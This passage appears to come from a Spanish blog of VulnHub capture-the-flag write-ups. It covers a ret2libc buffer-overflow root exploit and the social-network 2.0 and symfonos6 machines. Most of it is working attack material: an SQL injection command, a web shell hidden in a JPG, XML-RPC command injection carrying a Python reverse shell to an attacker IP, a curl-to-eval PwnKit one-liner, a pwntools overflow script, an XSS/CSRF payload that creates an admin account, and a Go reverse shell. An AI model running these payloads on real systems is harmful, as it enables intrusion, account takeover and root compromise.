          "Everything is going to be okay in the end. If it's not the okay, it's not the end.",
          "Do it. With love.",
	  "It is better to be hated for what you are than to be loved for what you are not.",
          "Happiness lies in perspective.",
	  "The best way to pay for a lovely moment is to enjoy it. ",
	  "The ultimate mystery is one's own self.",
	  "It doesn't matter how slow you go as long as you don't stop.",
	  "A tiger doesn't lose sleep over the opinion of sheep.",
	  "What worries you, masters you.",
	  "There are no regrets in life, just lessons.",
	  "Showing off is the fool's idea of glory. ",
	  "Meowwww meoww.. meoww meow meowww! Meowwww?? Meow! Meow!",
	  "Failure is not fatal, but failure to change might be.",
	  "Find what you love and let it kill you."
	};

	if (argc < 2)
	{
		printf("%s [Your name here] \n",argv[0]);
		exit(0);
	}
	getname(argv[1]);
	printf("%s\n", quotes[rand()%20]);
	return 0;
}

void getname(char *buf)
{
	char buffer[32];
	strcpy(buffer,buf);
	printf("Hi %s,\n");
}


Todo apunta a un BOF pero no podemos usar gdb. Probando encontramos que segmenta cuando la cadena de entrada es > 40. Asumimos además que está usando la librería libc.so.6

aqua@aqua:~$ find / -name libc.so.6 2>/dev/null

find / -name libc.so.6 2>/dev/null

/lib/i386-linux-gnu/libc.so.6

Con esto vamos a generar el payload que nos lleve a root. Necesitamos encontrar en esta librería los offsets de systema, exit y sh, en la máquina víctima. El payload será

junk+system+exit+sh

system, exit y sh lo sacamos de la librería

- Compilamos el quotes.c en la víctima y hacemos ldd

ldd /tmp/quotes

        linux-gate.so.1 =>  (0xb7fda000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e09000)

        /lib/ld-linux.so.2 (0xb7fdb000)

- system

readelf -a /lib/i386-linux-gnu/libc.so.6 | grep system

   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0

   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE

  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

- exit

readelf -a /lib/i386-linux-gnu/libc.so.6 | grep exit

  [27] __libc_atexit     PROGBITS        001b02cc 1af2cc 000004 00  WA  0   0  4
   03     .tdata .init_array __libc_subfreeres __libc_atexit __libc_thread_subfreeres .data.rel.ro .dynamic .got .got.plt .data .bss 
   09     .tdata .init_array __libc_subfreeres __libc_atexit __libc_thread_subfreeres .data.rel.ro .dynamic .got 
001b1ef0  00057206 R_386_GLOB_DAT    001b2204   argp_err_exit_status@@GLIBC_2.1
001b1fac  00083c06 R_386_GLOB_DAT    001b2154   obstack_exit_failure@@GLIBC_2.0
   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argp_err_exit_status@@GLIBC_2.1
  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2

- sh

strings -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

 15ba0b /bin/sh

El junk exacto no lo sabemos pero vamos a ir probándolo. Código final

from subprocess import call
from struct import pack
libc = 0xb7e09000
system = pack("I",libc+0x0003ada0)
exit= pack ("I",libc+0x0002e9d0)
sh = pack("I",libc+0x15ba0b)

for i in range(41,50):
        junk = "A" * i
        payload=junk+system+exit+sh
        ret=call(["sudo","/root/quotes",payload])

        if (not ret):
                print "ok"
                break
        else:
                print "bad"

megumin@aqua:/home/aqua$ nc 127.0.0.1 1337

python /tmp/exploit.py

id

uid=0(root) gid=0(root) groups=0(root)


miércoles, 19 de octubre de 2022

Breaking social-network: Hard XMLRPCServer bof pwntools socat

 

https://www.vulnhub.com/entry/boredhackerblog-social-network-20,455/


You have been given access to a dev server.

The current devs use many custom tools and scripts that you'll have to review and attack.

Difficulty: Hard

Tasks involved:

  • port scanning
  • webapp attacks
  • code review
  • custom bruteforcing
  • reverse engineering
  • buffer overflow
  • exploitation
1. en el puerto 80 encontramos un login



probamos inyección sql con sqlmap y sacamos las credenciales de admin. 

sqlmap -u http://192.168.2.44/ --data 'useremail=a%40b.com&userpass=1&login=Login' --dbs



A partir de aquí la idea es cargar un shell en la imagen profile o en un post. Al final funciona por post cargando un jpg generado con

https://github.com/BlackFan/jpg_payload/blob/master/jpg_payload.php y con extensión php.





www-data@socnet2:/home/socnet$ 

2. Una vez dentro como apache encontramos el script python que gestiona el puerto 8000 donde funciona un basehttp/0.3 python/2.7.15rc1. De los posts de admin anteriores tenemos que hay funcionando un monitor.py que es lo que analizamos para escalar al usuario socnet.

#my remote server management API
import SimpleXMLRPCServer
import subprocess
import random
debugging_pass = random.randint(1000,9999)
def runcmd(cmd):
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = results.stdout.read() + results.stderr.read()
    return output
def cpu():
    return runcmd("cat /proc/cpuinfo")
def mem():
    return runcmd("free -m")
def disk():
    return runcmd("df -h")
def net():
    return runcmd("ip a")
def secure_cmd(cmd,passcode):
    if passcode==debugging_pass:
         return runcmd(cmd)

    else:
        return "Wrong passcode."
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)
server.serve_forever()

Con Burp tratamos de deducir cómo funciona. Tenemos que enviar en post un xml de esta forma

<?xml version="1.0"?>
<methodCall>
  <methodName>mem</methodName>
</methodCall>


Se trata de inyectar el shell llamando a la función secure_cmd pero necesitamos la pass. Bruteforceamos con burp.

<?xml version="1.0"?>
<methodCall>
  <methodName>secure_cmd</methodName>
  <params>
    <param>
        <value><string>whoami</string></value>
    </param>
    <param>
        <value><int>$4450$</int></value>
    </param>
  </params>
</methodCall>

Localizada la pass inyectamos el shell que solo nos ha funcionado con python

<?xml version="1.0"?>
<methodCall>
  <methodName>secure_cmd</methodName>
  <params>
    <param>
        <value><string>python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.84",9994));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</string></value>
    </param>
    <param>
        <value><int>4450</int></value>
    </param>
  </params>
</methodCall>

Entramos otra vez pero ahora como socnet. Aunque la máquina es vulnerable a polkit

eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"

entendemos que hay que escalar a root a través del binario add_record. Lo descargamos y analizamos con ghidra. Queda claro que hay que hacer overflow en la variable que recoge lo que introducimos en "Explain: ". Encontramos además una función backdoor que ejecuta el shell y cuya dirección es lo que hay que inyectar. 





Con gdb-peda encontramos el payload correcto que rellena EIP:

"A"*62 + "B"*4

En "B" ponemos el offset del backdoor

"A"*62 + "\x76\x86\x04\x08"

Lo probamos en local

from pwn import *
"""
Employee Name(char): r
Years worked(int): 4
Salary(int): 4
Ever got in trouble? 1 (yes) or 0 (no): 1
Explain: 
"""
p = process("./add_record")
print(p.recvline())
print(p.recvline())
print(p.recvuntil(":", timeout=1))
p.send("f\n")
print(p.recvuntil(":", timeout=1))
p.send("3\n")
print(p.recvuntil(":", timeout=1))
p.send("3\n")
print(p.recvuntil(":", timeout=1))
p.send("1\n")
print(p.recvuntil(":", timeout=1))
payload="A"*62 + "\x76\x86\x04\x08"
p.send(payload+"\n")
p.interactive()

El problema es que la máquina víctima no tiene pwntools instalado. La idea entonces es usar socat que tampoco lo tiene pero podemos descargarlo ya compilado

wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

Y lo ejecutamos en la máquina víctima

./socat tcp-l:5000,reuseaddr,fork EXEC:"./add_record",pty,raw,echo=0

Es ahora que modificamos el script anterior cambiando la apertura del proceso en local a 

p = remote("192.168.2.44",5000)

ejecutamos desde nuestra máquina y obtenemos root



lunes, 17 de octubre de 2022

symfonos6: flyspray, gitea, go

 https://www.vulnhub.com/entry/symfonos-61,458/

Difficulty: intermediate-hard

1- en 80 buscamos y tenemos flyspray. Creamos un usuario test y aplicamos exploit 

https://www.exploit-db.com/exploits/41918
https://www.youtube.com/watch?v=eCf9a0QpnPs

creamos script js

var tok = document.getElementsByName('csrftoken')[0].value;
var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
txt += '<input type="hidden" name="user_pass2" value="12345678"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="jabber_id" value=""/>'
txt += '<input type="hidden" name="notify_type" value="0"/>'
txt += '<input type="hidden" name="time_zone" value="0"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'
var d1 = document.getElementById('menu');
d1.insertAdjacentHTML('afterend', txt);
document.getElementById("hacked_form").submit();

y en realname del usuario test creado en flyspray ponemos el xss

"><script src=máquina atacante/script.js></script>

salimos y entramos como el usuario test creado y ponemos algún comentario en alguna tarea. Con eso se crea el usuario hacker

entramos como hacker que es admin, y en una de las tareas nos da el login git de achilles

2- vamos al gitea en 3000 y entramos como achilles. Hacemos exploit git hook post y accedemos shell git a la máquina

3- su achilles, la contraseña es la misma

4- tenemos sudo go, hacemos un shell reverse en go y root

package main

import (
  "net"
  "os/exec"
  "time"
)

var (
  lhost string
  lport string
)
func prepareCmd() (*exec.Cmd) {
  cmd := exec.Command("/bin/sh")

  return cmd
}
func main(){
  var target string = "192.168.2.84:8888"
  var cmd *exec.Cmd
  var err error
  var conn net.Conn = nil
  var attempt int = 0

  for conn == nil && attempt < 3 {
    conn, err = net.Dial("tcp", target)
    if err != nil {
      time.Sleep(20 * time.Second)
      conn = nil
    } else {
      cmd = prepareCmd()
      cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
      cmd.Run()
      conn.Close()
    }
    attempt += 1
  }
}

sudo /usr/local/go/bin/go run shell.go

[root@symfonos6 ~]# cat proof.txt
cat proof.txt
           Congrats on rooting symfonos:6!
                  ,_---~~~~~----._         
           _,,_,*^____      _____``*g*\"*, 
          / __/ /'     ^.  /      \ ^@q   f 
         [  @f | @))    |  | @))   l  0 _/  
          \`/   \~____ / __ \_____/    \   
           |           _l__l_           I   
           }          [______]           I  
           ]            | | |            |  
           ]             ~ ~             |  
           |                            |   
            |                           |   
     Contact me via Twitter @zayotic to give feedback!
[root@symfonos6 ~]#